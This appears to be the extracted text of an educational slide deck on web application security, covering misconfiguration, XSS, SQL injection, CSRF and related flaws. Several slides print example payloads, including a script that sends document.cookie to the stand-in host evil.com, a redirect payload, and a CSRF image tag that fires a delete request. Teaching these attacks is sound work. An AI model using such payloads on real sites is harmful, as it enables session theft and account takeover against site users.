1. Web Application Security
Vulnerabilities, attacks, and
countermeasures
Prepared by:
Jean Michael Castor

2. Web Applications
• A web-based application is any application
that uses a web browser as a client. The term
may also mean a computer software
application that is coded in a browser-
supported programming language (such as
JavaScript, combined with a browser-rendered
markup language like HTML) and reliant on a
common web browser to render the
application executable.

3. Web Application vs Website
• A web application is an application that’s
accessed through a web browser.
• A website is a series of pages or documents
that may embed media (images, video, etc)
that’s accessed through a web browser over
the internet.

4. Outline
• Introduction
• Demo application
• Vulnerabilities
• Defenses
• Tools
• Conclusions
• Resources

5. Introduction
• World Wide Web has become a powerful
platform for application delivery
• Sensitive data increasingly made available
through web applications
• Corresponding rise in number of
vulnerabilities discovered and security
incidents reported

6. Confidential data breaches

7. Demo Application
Login Page

8. Text Input Pages

9. Database

10. Vulnerabilities
Web Applications are vulnerable of the following:
– Misconfiguration
– Client-side controls
– Authentication errors
– Cross-site scripting
– SQL injection
– Cross-site request forgery

11. Misconfiguration
• Outdated versions of the server
• Outdated versions of third-party web
applications
• Guessable passwords
– Application
– FTP/SSH
• Retrievable source code
• Trojaned home machine

12. Client-side controls
• Do not rely on client-side controls that are not
enforced on the server-side
– Cookie
Cookie: role=guest/admin
– Hidden form parameters
<input type=“hidden” name=“role”
value=“guest/admin”>
– JavaScript checks
function validateRole() { … }

13. Direct object reference
• A direct object reference occurs when a
developer exposes a reference to an internal
implementation object, such as a file,
directory, database record, or key, as a URL or
form parameter. An attacker can manipulate
direct object references to access other
objects without authorization, unless an
access control check is in place.

14. Direct object reference
ID FNAME LNAME
1 Boy George
2 Mio Koh
3 Jubagro Bagro
4 Dodoy Doy
Now, let’s say that this database table were queried in a normal application. Then, the
results are presented on the page, and each record in the result list would probably
have a link to more detail about each user.
Now, here’s what the url might look like to go view greater detail about Mio:
/users/viewDetail?id=2

15. Authentication errors
• Weak passwords
– Enforce strong, easy-to-remember passwords
• Brute forceable
– Enforce upper limit on the number of errors in a
given time
• Verbose failure messages (“wrong password”)
– Do not leak information to attacker

16. Cross-site scripting (XSS)
1. Attacker injects malicious code into vulnerable web server

17. Cross-site scripting (XSS)
1. Attacker injects malicious code into vulnerable web server
2. Victim visits vulnerable web server
GET /posts
Cookie: s=01a4b8

18. Cross-site scripting (XSS)
1. Attacker injects malicious code into vulnerable web server
2. Victim visits vulnerable web server
3. Malicious code is served to victim by web server
HTTP/1.1 200 OK
…
<script>…</script>

19. Cross-site scripting (XSS)
1. Attacker injects malicious code into vulnerable web server
2. Victim visits vulnerable web server
3. Malicious code is served to victim by web server
4. Malicious code executes on the victims with web server’s
privileges
GET /log?s=01a4b8

20. 3 types of XSS
• Reflected: vulnerable application simply
“reflects” attacker’s code to its visitors
• Persistent: vulnerable application stores (e.g.,
in the database) the attacker’s code and
presents it to its visitors
• DOM-based: vulnerable application includes
pages that use untrusted parts of their DOM
model (e.g., document.location,
document.URL) in an insecure way

21. XSS Attacks
• STEALING COOKIE
• DEFACEMENT
• PHISHING
• PRIVACY VIOLATION
• RUN EXPLOITS
• JAVASCRIPT MALWARE

22. XSS attacks: STEALING COOKIE
• Attacker injects script that reads the site’s cookie
• Scripts sends the cookie to attacker
• Attacker can now log into the site as the victim
<script>
var img = new Image();
img.src =
“http://evil.com/log_cookie.php?” +
document.cookie
</script>

23. XSS attacks: DEFACEMENT
• Attacker injects script that automatically
redirects victims to attacker’s site
<script>
document.location =
“http://evil.com”;
</script>

24. XSS attacks: PHISHING
• Attacker injects script that reproduces look-
and-feel of “interesting” site (e.g., paypal,
login page of the site itself)
• Fake page asks for user’s credentials or other
sensitive information
• The data is sent to the attacker’s site

25. XSS attacks: PRIVACY VIOLATION
• The attacker injects a script that determines
the sites the victims has visited in the past
• This information can be leveraged to perform
targeted phishing attacks

26. XSS attacks: RUN EXPLOITS
• The attacker injects a script that launches a
number of exploits against the user’s browser
or its plugins
• If the exploits are successful, malware is
installed on the victim’s machine without any
user intervention
• Often, the victim’s machine becomes part of a
botnet

27. XSS attacks: JAVASCRIPT MALWARE
• JavaScript opens up internal network to
external attacks
– Scan internal network
– Fingerprint devices on the internal network
– Abuse default credentials of DSL/wireless routers

28. SQL injection
HTTP Request
POST /login?u=foo&p=bar
SQL Query
SELECT user, pwd FROM users WHERE u = ‘foo’
• Attacker submits HTTP request with a malicious parameter
value that modifies an existing SQL query, or adds new
queries

29. SQLI attacks
• Detecting:
– Attacker inject special-meaning characters that are
likely to cause an error, e.g., user=“
• Consequences:
– Violate data integrity
– Violate data confidentiality

30. Cross-site request forgery (CSRF)
1. Victim is logged into vulnerable web site
GET /posts
Cookie: s=01a4b8

31. Cross-site request forgery (CSRF)
1. Victim is logged into vulnerable web site
2. Victim visits malicious page on attacker web site
GET /index.html

32. Cross-site request forgery (CSRF)
1. Victim is logged into vulnerable web site
2. Victim visits malicious page on attacker web site
3. Malicious content is delivered to victim
HTTP 1.1 200 OK
…
<img
src=http://vuln/
delete>

33. Cross-site request forgery (CSRF)
1. Victim is logged into vulnerable web site
2. Victim visits malicious page on attacker web site
3. Malicious content is delivered to victim
4. Victim involuntarily sends a request to the vulnerable web site
GET /delete
Cookie: s=01a4b8

34. CSRF countermeasures
• Use POST instead of GET requests

35. POST AND GET COMPARISON TABLE
• In HTML, one can specify two different submission methods for a form. The method is
specified inside a FORM element, using the METHOD attribute. The difference between
METHOD="GET" (the default) and METHOD="POST" is primarily defined in terms of form data
encoding. According to the technical HTML specifications GET means that form data is to be
encoded (by a browser) into a URL while POST means that the form data is to appear within
the message body of the HTTP request.
GET POST
BACK button/Reload Harmless
Data will be re-submitted (the browser should alert the user that the data are
about to be re-submitted)
Bookmarked Can be bookmarked Cannot be bookmarked
Cached Can be cached Not cached
History
Parameters remain in browser
history
Parameters are not saved in browser history
Restrictions on data
type
Only ASCII characters allowed No restrictions. Binary data is also allowed
Security
GET is less secure compared to
POST because data sent is part of
the URL
Never use GET when sending
passwords or other sensitive
information!
POST is a little safer than GET because the parameters are not stored in
browser history or in web server logs